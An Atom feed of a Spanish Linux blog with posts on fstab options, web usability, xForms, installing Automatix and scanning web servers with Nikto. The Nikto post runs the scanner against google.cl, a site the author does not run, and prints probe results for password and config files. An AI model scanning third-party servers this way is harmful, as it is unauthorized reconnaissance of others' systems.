disco duro maestro IDE seguido de un número que indica el número de partición de dicho disco duro.&lt;br /&gt;Para lso dispositivos USB suele usarse sda, tal como puede apreciarse en la linea 9 de mi fstab.&lt;br /&gt;Hay que destacar que devpts y none se utilizan para los sistemas de ficheros que usa internamente Linux.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Segundo campo&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Es el directorio en el cual se montará el sistema del primer campo. Hay que destacar que si no hemos creado ese directorio fallará el montaje de dicho sistema.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Tercer campo&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Indica el tipo de sistema de ficheros. Como indicaba al principio del documento el núcleo de Linux admite multitud de sistemas de ficheros, tanto para el propio uso e instalación de nuestro sistema operativo como para sistemas auxiliares ( particiones vfat ) o sistemas de ficheros de red.&lt;br /&gt;Muestro aquí una pequeña tabla con ejemplos de algunos de ellos:&lt;br /&gt;&lt;br /&gt;EXT2                        Sistema de ficheros sin registro para Linux&lt;br /&gt;EXT3                        Sistema de ficheros con registro para Linux&lt;br /&gt;VFAT                        Sistema de Windows ( versión 95, 98 )&lt;br /&gt;NTFS                        Sistema de Windows ( versión NT, 2000, XP )&lt;br /&gt;NFS                          Sistema distribuido de Sun&lt;br /&gt;ISO9660                  Sistema estándar para CD-ROM&lt;br /&gt;JFS                           Sistema de ficheros con registro de IBM&lt;br /&gt;REISERFS                  Sistema de ficheros con registro para Linux&lt;br /&gt;SWAP                       Espacio de intercambio para Linux&lt;br /&gt;XFS                          Sistema de ficheros con registro de Silicon Graphics&lt;br /&gt;UFS                          Sistema de ficheros de los Unix BSD&lt;br /&gt;&lt;br /&gt;Los sistemas de ficheros que tiene compilado el núcleo pueden verse en el fichero /proc/filesystems.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Cuarto campo&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Son opciones que se aplican a los sistemas de ficheros, haremos un recorrido por ellas por orden alfabético.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Async. &lt;/b&gt;Las escrituras se hacen asíncronamente&lt;br /&gt;&lt;b&gt;Auto.&lt;/b&gt; Se monta automáticamente, o con el comando mount -a.&lt;br /&gt;&lt;b&gt;Defaults&lt;/b&gt;. Esta opción reune las siguientes: async, auto, dev, exec, nouser, rw y suid.&lt;br /&gt;&lt;b&gt;Dev.&lt;/b&gt; Significa que el dispositivo es local al sistema.&lt;br /&gt;&lt;b&gt;Exec.&lt;/b&gt; Permite la ejecución de programas.&lt;br /&gt;&lt;b&gt;Gid. &lt;/b&gt;Establece el identificador de grupo del sistema de ficheros al identificador numérico del grupo.&lt;br /&gt;&lt;b&gt;Noauto.&lt;/b&gt; No se monta automáticamente. Ideal para medios extraibles.&lt;br /&gt;&lt;b&gt;Nouser.&lt;/b&gt; El sistema de ficheros solo puede ser montado por el administrador del sistema.&lt;br /&gt;&lt;b&gt;Owner&lt;/b&gt;. El dueño del sistema de ficheros se fija al usuario que lo monta.&lt;br /&gt;&lt;b&gt;Ro.&lt;/b&gt; Modo solo lectura ( read-only ).&lt;br /&gt;&lt;b&gt;Rw.&lt;/b&gt; Modo lectura escritura ( read-write ).&lt;br /&gt;&lt;b&gt;Suid.&lt;/b&gt; Permite que se ejecuten los bits setuid, no se debe aplicar a sistemas que no administremos nosotros mismos, ya que es un riesgo potencial de intrusiones al sistema.&lt;br /&gt;&lt;b&gt;Sync.&lt;/b&gt; Las escrituras se hacen síncronamente.&lt;br /&gt;&lt;b&gt;Uid. &lt;/b&gt;Establece el identificador de usuario del sistema de ficheros montado.&lt;br /&gt;&lt;b&gt;Umask.&lt;/b&gt; Establece una máscara. Esto es util para que a este sistema pueda acceder un usuario que no tenga privilegios, por ejemplo para montar un sistema y que puedan acceder a él todos los usuarios ponemos umask=0.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Quinto campo&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Puede tener valor 0 o 1. Si vale 1 el programa de copias de seguridad del sistema Dump guarda el sistema de ficheros.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Sexto campo&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Lo utiliza el inspector de consistencia. Si vale 1 se comprueba la consistencia del sistema de ficheros al reiniciar el sistema operativo. Si vale 0 fsck no comprueba el sistema de ficheros. &lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-8388119269201872508?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/8388119269201872508/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=8388119269201872508' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/8388119269201872508'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/8388119269201872508'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/01/fstab.html' title='FSTAB'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-785456191340714216</id><published>2008-01-25T14:11:00.000-03:00</published><updated>2008-01-25T14:22:05.000-03:00</updated><title type='text'>Escaneo de Servidores Web</title><content type='html'>Hola, una buena forma de asegurar un servidor web es probar a romper su seguridad. Para ello es vital utilizar una herramienta que permita sacar la mayor cantidad posible de información sobre un sitio web, una es Nikto, poco conocido pero eficiente.&lt;br /&gt;&lt;br /&gt;Nikto es una potente aplicación que buscará la existencia de ficheros en el servidor y de posibles vulnerabilidades del mismo. La información que genera es enorme, luego ya es trabajo nuestro sacar la paja y quedarnos con lo importante.&lt;br /&gt;&lt;br /&gt;Vamos a ver un ejemplo práctico, ejecutamos en cosola "&lt;b&gt;nikto -h google.cl&lt;/b&gt;" y observamos la salida, que he recortado para ver solo unas cuantas lineas:&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;debian:/home/slack# nikto -h google.cl&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;- Nikto 1.35/1.35     -     www.cirt.net&lt;br /&gt;+ Target IP:       216.239.59.104&lt;br /&gt;+ Target Hostname: google.cl&lt;br /&gt;+ Target Port:     80&lt;br /&gt;+ Start Time:      Fri Jan 25 14:13:19 2008&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;- Scan is dependent on "Server" string which can be faked, use -g to override&lt;br /&gt;+ Server: gws&lt;br /&gt;+ Server does not respond with '404' for error messages (uses '301').&lt;br /&gt;+     This may increase false-positives.&lt;br /&gt;+ Not found files redirect to: http://www.google.cl/Nikto-1.35-QEstv6apsGao.htm&lt;br /&gt;+ The root file (/) redirects to: http://www.google.cl/&lt;br /&gt;+ All CGI directories 'found', use '-C none' to test none&lt;br /&gt;+ / - Redirects to http://www.google.cl/ , Default Jrun 2 server running.&lt;br /&gt;+ / - Redirects to http://www.google.cl/ , Cisco VoIP Phone deafult web server found.&lt;br /&gt;+ / - Redirects to http://www.google.cl/ , Default Sybase Jaguar CTS server running.&lt;br /&gt;+ / - Redirects to http://www.google.cl/ , Default Jrun 3 server running.&lt;br /&gt;+ / - Redirects to http://www.google.cl/ , Default Lantronix printer found.&lt;br /&gt;+ / - Redirects to http://www.google.cl/ , Default IBM Tivoli Server Administration server is running.&lt;br /&gt;+ / - Redirects to http://www.google.cl/ , Default Jrun 4 server running.&lt;br /&gt;+ / - Redirects to http://www.google.cl/ , Default Xerox WorkCentre server is running.&lt;br /&gt;+ /admin/config.php - Redirects to http://www.google.cl/admin/config.php , PHP Config file may contain database IDs and passwords.&lt;br /&gt;+ /adm/config.php - Redirects to http://www.google.cl/adm/config.php , PHP Config file may contain database IDs and passwords.&lt;br /&gt;+ 20.access - Redirects to http://www.google.cl/ , Contains authorization information&lt;br /&gt;+ 20.cobalt - Redirects to http://www.google.cl/ , May allow remote admin of CGI scripts.&lt;br /&gt;+ 20.htaccess.old - Redirects to http://www.google.cl/ , Backup/Old copy of .htaccess - Contains authorization information&lt;br /&gt;+ 20.htaccess.save - Redirects to http://www.google.cl/ , Backup/Old copy of .htaccess - Contains authorization information&lt;br /&gt;+ 20.htaccess - Redirects to http://www.google.cl/ , Contains authorization information&lt;br /&gt;+ 20.htaccess~ - Redirects to http://www.google.cl/ , Backup/Old copy of .htaccess - Contains authorization information&lt;br /&gt;+ 20.htpasswd - Redirects to http://www.google.cl/ , Contains authorization information&lt;br /&gt;+ 20.namazu.cgi - Redirects to http://www.google.cl/ , Namazu search engine found. Vulnerable to CSS attacks (fixed 2001-11-25). Attacker could write arbitrary files outside docroot (fixed 2000-01-26). CA-2000-02.&lt;br /&gt;+ 20.passwd - Redirects to http://www.google.cl/ , Contains authorization information&lt;br /&gt;+ 20 - Redirects to http://www.google.cl/ , Directory indexing of CGI directory should be disabled.&lt;br /&gt;+ 20addbanner.cgi - Redirects to http://www.google.cl/ , This CGI may allow attackers to read any file on the system.&lt;br /&gt;&lt;br /&gt;+ Over 20 "Moved" messages, this may be a by-product of the&lt;br /&gt;            +     server answering all requests with a "302" or "301" Moved message. You should&lt;br /&gt;            +     manually verify your results.&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;Es probable que en algunas distribuciones basadas en Slackware como Zenwalk o VectorLinux este paquete no funcione, para debian no existe problema, si al ingresar el comando anterior la consola nos responde con un command not found, tendremos que verificar si tenemos acceso a instalar este programa:&lt;br /&gt;&lt;br /&gt;debian:/home/slack# nikto -h google.cl&lt;br /&gt;bash: nikto: command not found&lt;br /&gt;&lt;br /&gt;verificamos si tenemos acceso a instalar el programa desde nuestro repositorio:&lt;br /&gt;&lt;br /&gt;debian:/home/slack# apt-cache search nikto&lt;br /&gt;nikto - web server security scanner&lt;br /&gt;&lt;br /&gt;y lo instalamos:&lt;br /&gt;&lt;br /&gt;debian:/home/slack/programas/jboss-portal-2.4.1# apt-get install nikto&lt;br /&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;Creando árbol de dependencias... Hecho&lt;br /&gt;Se instalarán los siguientes paquetes extras:&lt;br /&gt;  libwhisker-perl&lt;br /&gt;Se instalarán los siguientes paquetes NUEVOS:&lt;br /&gt;  libwhisker-perl nikto&lt;br /&gt;0 actualizados, 2 se instalarán, 0 para eliminar y 7 no actualizados.&lt;br /&gt;Necesito descargar 249kB de archivos.&lt;br /&gt;Se utilizarán 1167kB de espacio de disco adicional después de desempaquetar.&lt;br /&gt;¿Desea continuar [S/n]? S&lt;br /&gt;Des:1 http://debian.ubiobio.cl etch/main libwhisker-perl 1.8-1 [79,5kB]&lt;br /&gt;Des:2 http://debian.ubiobio.cl etch/main nikto 1.35-1.1 [170kB]&lt;br /&gt;Descargados 249kB en 11s (21,6kB/s)&lt;br /&gt;Seleccionando el paquete libwhisker-perl previamente no seleccionado.&lt;br /&gt;(Leyendo la base de datos ...&lt;br /&gt;141813 ficheros y directorios instalados actualmente.)&lt;br /&gt;Desempaquetando libwhisker-perl (de .../libwhisker-perl_1.8-1_all.deb) ...&lt;br /&gt;Seleccionando el paquete nikto previamente no seleccionado.&lt;br /&gt;Desempaquetando nikto (de .../nikto_1.35-1.1_all.deb) ...&lt;br /&gt;Configurando libwhisker-perl (1.8-1) ...&lt;br /&gt;Configurando nikto (1.35-1.1) ...&lt;br /&gt;&lt;br /&gt;Ya instalado podemos ejecutar el escaneador apuntando a una url...&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;i&gt;&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-785456191340714216?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/785456191340714216/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=785456191340714216' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/785456191340714216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/785456191340714216'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/01/escaneo-de-servidores-web.html' title='Escaneo de Servidores Web'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-2982944356695867727</id><published>2007-12-18T10:56:00.000-03:00</published><updated>2007-12-18T11:50:10.117-03:00</updated><title type='text'>Usabilidad en la Web</title><content type='html'>Hola, muchas veces cuando desarrollamos aplicaciones web, contamos con un diseñador grafico que diseñe nuestras páginas web, estilos, etc.. y nosotros solo nos encargamos del desarrollo de las demas capas(MVC, dao, etc.), sin embargo tambien a veces nos toca desarrollar el diseño de las páginas, en dreamweaver, bluefish (en linux), html, jsp o lo que sea...&lt;br /&gt;Aqui tocamos un tema sumamente importante en el desarrollo de aplicaciones web, el cual nos permite que nuestras paginas sean faciles de navegar y al mismo tiempo intuitivas para los usuarios, esto se denomina &lt;span style="font-weight: bold;"&gt;Usabilidad en la web &lt;/span&gt;&lt;b&gt;e interfaz en internet&lt;/b&gt;&lt;span style="font-weight: bold;"&gt;.&lt;br /&gt;&lt;/span&gt;La usabilidad son técnicas que ayudan a los seres humanos a realizar tareas en entornos graficos de ordenador, en nuestro caso, páginas web.&lt;br /&gt;Siempre en la construcción y definición de la navegación de un sitio web tenemos que recordar que el usuario debe encontrar lo que busca de manera facil y rapida, incluso los parametros que a veces visualizamos en la barra inferior del browser nos ayudan a entender la navegación de un sitio web, existen algunas reglas para una buena usabilidad en nuestros sitios, estan son:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.- En internet es el usuario el que manda,&lt;/span&gt; por lo tanto debemos tener en cuenta una excelente y facil navegacion para el, esto se consigue con una buena deficinición de navegación del sitio, un buen analisis y sobre todo conocer el negocio y pensar como usuario.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.- En internet la calidad se basa en la rapidez y fiabilidad del sitio,&lt;/span&gt;  se toma en  cuanta más que la pagina sea rapida que bonita, fiable que moderna, sencilla que compleja y sobre todo directa.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.- Seguridad, &lt;/span&gt;si en el mundo real a veces desconfiamos de algunas cosas, imaginate como se siente la gente al ingresar por la web de su banco. Debemos procurar que toda la navegación y sitio funcionen como reloj para que de esta forma los usuarios puedan confiar en el.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4.- La confianza es algo que cuesta ganar y se pierde con un mal enlace,&lt;/span&gt; esto quiere decir que tal y como esta la competencia en internet, no puedes perder ni un solo visitante por tener un enlace mal hecho. Es mejor salir con algo sencillo e irlo complicando poco a poco (buscar en la web extreme programing y metodologias agiles), que salir con todo y ver que es lo que pasa. Versiones 1.0 son buenas mientras lo que este puesto este bien y genere confianza. Poco a poco y con el feedback de los usuarios, podras ir complicando la pagina y sistema. Pero &lt;b&gt;asegura antes de arriesgar&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5.- Simplifica, reduce, optimiza,&lt;/span&gt; la gente no se va a aprender tu sitio por mucho que insistas, asi que por lo menos hazlo sencillo, reutiliza todos los elementos que puedas, para que de este modo los usuarios se sientan comodos y no se pierdan cada vez que necesiten encontrar algo.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;6.-&lt;/span&gt; &lt;b&gt;Pon las conclusiones al principio, e&lt;/b&gt;l usuario se sentira mas comodo si ve las metas al principio. De esta forma no tendra que buscar lo que necesita y perdera menos tiempo en completar su tarea. Si completa su tarea en menos tiempo se sentira comodo y quizas se dedique a explorar el sitio o quizas se lo recomiende a un amigo.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;7. No hagas perder el tiempo a la gente con cosas que no necesitan, &lt;/b&gt;cuidado con cruzar promociones, si lo haces por lo menos hazlo con cuidado. Procura que la selección de productos a cruzar sea consecuente y no lo quieras "vender todo" en todas las paginas. Cuando el usuario avance en su navegación debes dejarle mas espacio libre. Puede ocurrir que cuando este punto de comprar algo vea una oferta que le distraiga y se pierda esa venta.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;8. Buenos contenidos, &lt;/b&gt;escribir bien para internet es todo un arte. Pero siguiendo las reglas basicas de poner las conclusiones al principio y escribir como un 25% de lo que pondrias en un papel, se puede llegar muy lejos. Leer en pantalla cuesta mucho, por lo que, en el caso de textos para internet, reduce y simplifica todo lo que puedas.&lt;br /&gt;&lt;br /&gt;Recuerda siempre que lo facil y simple es la mejor manera de poder satisfacer a los usuarios en la web. Otros puntos importantes para revisar son:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ubicuidad, Visibilidad, Contenido, Estética, Fidelidad.&lt;br /&gt;&lt;br /&gt;Esto es parte de la experiencia que tengo desarrollando web.&lt;br /&gt;&lt;br /&gt;Dejo este enlace para seguir investigando:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.dcc.uchile.cl/%7Erbaeza/inf/reglasweb.html"&gt;http://www.dcc.uchile.cl/~rbaeza/inf/reglasweb.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-2982944356695867727?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/2982944356695867727/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=2982944356695867727' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2982944356695867727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2982944356695867727'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2007/12/usabilidad-en-la-web.html' title='Usabilidad en la Web'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-4345188695444196859</id><published>2007-12-11T16:16:00.000-03:00</published><updated>2007-12-11T18:21:15.177-03:00</updated><title type='text'>xForm</title><content type='html'>Hola, hace un tiempo se dio a conocer la nueva generación de formularios web impuesto por la W3C &lt;span style="font-weight: bold;"&gt;(World Wide Web Consortium)&lt;/span&gt;,  los xForm son formularios web que agregan una caracteristica muy importante a los actuales formularios web, esta es la validación de la información y el cambio en la forma en que se construyen estos formularios web.&lt;br /&gt;Estas paginas gestionan, sin interactuar con el                    servidor, tanto la presentación como la lógica de la interfaz de                    usuario y su comunicación con el servidor se restringe al                    intercambio de datos utilizando técnicas &lt;acronym title="Asynchronous Javascript and XML"&gt;AJAX&lt;/acronym&gt;.&lt;br /&gt;Los xForm es la nueva generación de formularios dinamicos, no solo para la web sino que tambien se convertiran en el estandar para dispositivos moviles.&lt;br /&gt;En este articulo veremos un ejemplo y como se modela un xForm.&lt;br /&gt;&lt;br /&gt;Como requisito previo es necesario tener la jdk 1.4, 5 o superior, el ide  eclipse y ant. luego vamos a la siguiente url y descargamos el ajaxForms.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/project/showfiles.php?group_id=154001"&gt;http://sourceforge.net/project/showfiles.php?group_id=154001&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Una vez que tenemos el template de ajaxForms, lo descomprimos en un directorio, abrimos el eclipse y seteamos este ajaxForms como proyecto en el eclipse, este ajaxForms que descargamos de sourceforge viene listo para comenzar a trabajar con xForm, incluye un buid.xml para trabajar con ant, deployar y probar nuestros xForms.&lt;br /&gt;&lt;br /&gt;Entoces, vemos que nuestro ajaxForms tiene como contenido lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;En la raiz tenemos 3 carpetas: &lt;/span&gt;bin(vacio), lib(ajaxforms.jar y jaxen.jar), web(data.xml, echo.shtml y index.xform)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Más los siguientes archivos:&lt;/span&gt;&lt;br /&gt;.classpath&lt;br /&gt;.proyect&lt;br /&gt;buid.properties&lt;br /&gt;build.xml (para ant, recomiendo ant 1.7)&lt;br /&gt;license.txt&lt;br /&gt;readme&lt;br /&gt;&lt;br /&gt;Agregamos el &lt;span style="font-weight: bold;"&gt;buid.xml&lt;/span&gt; al show view de ant del eclipse del costado derecho.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.-&lt;/span&gt; Hacemos doble click en clean del buid, para limpiar el proyecto.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.-&lt;/span&gt; Hacemos doble click en buid (default), esto generara en el proyecto una nueva carpeta de nombre build.&lt;br /&gt;Si abrimos esta carpeta vemos que en su contenido se encuentran los siguientes archivos:&lt;br /&gt;&lt;br /&gt;Una carpeta de nombre resources, y tres archivos:&lt;br /&gt;data.xml&lt;br /&gt;echo.shtml&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    index.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Este ultimo es el formulario web que se genera a partir del &lt;span style="font-weight: bold;"&gt;index.xform&lt;/span&gt; de nuestra raiz del proyecto, corresponde a un &lt;span style="font-weight: bold;"&gt;html&lt;/span&gt; en el cual la mayoria es javascript  y ajax, el archivo data.xml es la información inicial con la que se rellena el formulario y el echo.shtml es el action del formulario, vemos además que el archivo &lt;span style="font-weight: bold;"&gt;index.html &lt;/span&gt;generado contiene un &lt;span style="font-weight: bold;"&gt;log&lt;/span&gt; en la parte inferior y que al hacer save apunta al archivo &lt;span style="font-weight: bold;"&gt;echo.shtml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El archivo &lt;span style="font-weight: bold;"&gt;index.xform&lt;/span&gt;, corresponde a un archivo &lt;span style="font-weight: bold;"&gt;XML Schema&lt;/span&gt; de tipo &lt;span style="font-weight: bold;"&gt;xsd, &lt;/span&gt;en el cual se define el modelo del formulario, los tipos de datos para los imput, etc., es necesario identificar claramente el contenido de este tipo de archivos para poder trabajar con xForm:&lt;br /&gt;&lt;br /&gt;En este archivo se identifican dos areas, una es el &lt;span style="font-weight: bold;"&gt;head&lt;/span&gt; y la otra el &lt;span style="font-weight: bold;"&gt;body.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En el head se define el modelo del formulario (diseño), la instancia de los datos que rellenan el formulario, el action o submit del formulario, y algunas validaciones, y el el body se define el cuerpo del formulario, los action de los botones, los imput, select, etc..&lt;br /&gt;&lt;br /&gt;Dejo en ustedes esta introducción y la inquietud de poder seguir investigando esta nueva forma de implementar formularios web.&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-4345188695444196859?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/4345188695444196859/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=4345188695444196859' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/4345188695444196859'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/4345188695444196859'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2007/12/xform.html' title='xForm'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-8784309186645734019</id><published>2007-12-03T14:18:00.000-03:00</published><updated>2007-12-03T14:52:23.705-03:00</updated><title type='text'>Automatix en Linux</title><content type='html'>Hola, Automatix es un programa para linux, el que trabaja de forma similar al  Synaptic, automatizando la instalaciòn y eliminaciòn de softwares y paquetes, viene por defecto en algunas distribuciones de linux, y en modo simple es una interfaz grafica para el comando "apt", contra esto una de las ventajas de Synaptic es que ademas de estas funciones tambien sirve para la reparaciòn de paquetes dañados. En este articulo explicare en pocos pasos su instalacion en Debian etch.&lt;br /&gt;&lt;br /&gt;Primero debemos fijarnos de no estar ocupando algun gestor de paquetes, como synaptic o apt.&lt;br /&gt;&lt;br /&gt;En algunos casos la instalaciòn de programas en linux debe hacerse en modo de superusuario o root, por lo cual nos pondremos en modo root con el siguiente comando:&lt;br /&gt;&lt;br /&gt;slack@debian:/$ &lt;span style="font-weight: bold;"&gt;su&lt;/span&gt;&lt;br /&gt;Password: xxxxxxxx&lt;br /&gt;&lt;br /&gt;Con el comando &lt;span style="font-weight: bold;"&gt;'su'&lt;/span&gt; nos podemos cambiar de usuario en un terminal de linux, si colocamos solamente la palabra su, el sistema nos cambiara previo ingreso de la clave al usuario root, si queremos cambiarnos a otro usuario, deberemos preceder de su el usuario, por ejemplo, si queremos cambiarnos al usuario pepito debemos tipear:&lt;br /&gt;&lt;br /&gt;slack@debian:/$ &lt;span style="font-weight: bold;"&gt;su pepito&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bueno para no perder el foco, seguire explicando la instalaciòn de automatix desde la consola linux, ya estando como root debemos tipear los siguientes comando&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.-&lt;/span&gt; El siguiente paso añade a nuestro repositorio source.list la url de donde debera descargar automatix&lt;br /&gt;&lt;br /&gt;   debian:/# &lt;span style="font-weight: bold;"&gt;echo "deb http://www.getautomatix.com/apt etch main" | sudo tee -a /etc/apt/sources.list&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.-&lt;/span&gt; Luego traeremos la key de automatix a nuestro equipo, esta key quedara en nuetro home&lt;br /&gt;&lt;br /&gt;   debian:/# &lt;span style="font-weight: bold;"&gt;wget http://www.getautomatix.com/keys/automatix2.key&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.-&lt;/span&gt; Importamos la Key&lt;br /&gt;&lt;br /&gt;   debian:/# &lt;span style="font-weight: bold;"&gt;gpg --import automatix2.key&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4.-&lt;/span&gt; Agregamos la key a la instalaciòn&lt;br /&gt;&lt;br /&gt;   debian:/# &lt;span style="font-weight: bold;"&gt;gpg --export --armor E23C5FC3 | sudo apt-key add -&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5.-&lt;/span&gt; Actualizamos nuestro apt-get&lt;br /&gt;&lt;br /&gt;   debian:/# &lt;span style="font-weight: bold;"&gt;sudo apt-get update&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;6.-&lt;/span&gt; Y finalmente instalamos Automatix&lt;br /&gt;&lt;br /&gt;   debian:/# &lt;span style="font-weight: bold;"&gt;sudo apt-get install automatix2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Con estos pasos ya deberiamos tener listo automatix para comenzar con su uso, si vemos el contenido de &lt;span style="font-weight: bold;"&gt;automatix2.key&lt;/span&gt; en nuestro home mostrara algo similar a esto:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Version: PGP Key Server 0.9.6&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mQGiBEX4li8RBADyUvBUKEuhYyVuU05DSwoYg1z+9CmaWhI7ZfMO8iD24W5JIuhP&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;I7d3hTTcoKCvcF4zsBMOLjqdsaleyWPfqpdhVH24uGI5AXeGpPhJxFLCpFuzi5c4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Y/lGQ3o+EtDrizT993m/KLjkvoP0csCjNpBmvuIDd82JAvPAwt1HP7PFfwCgwUMl&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: 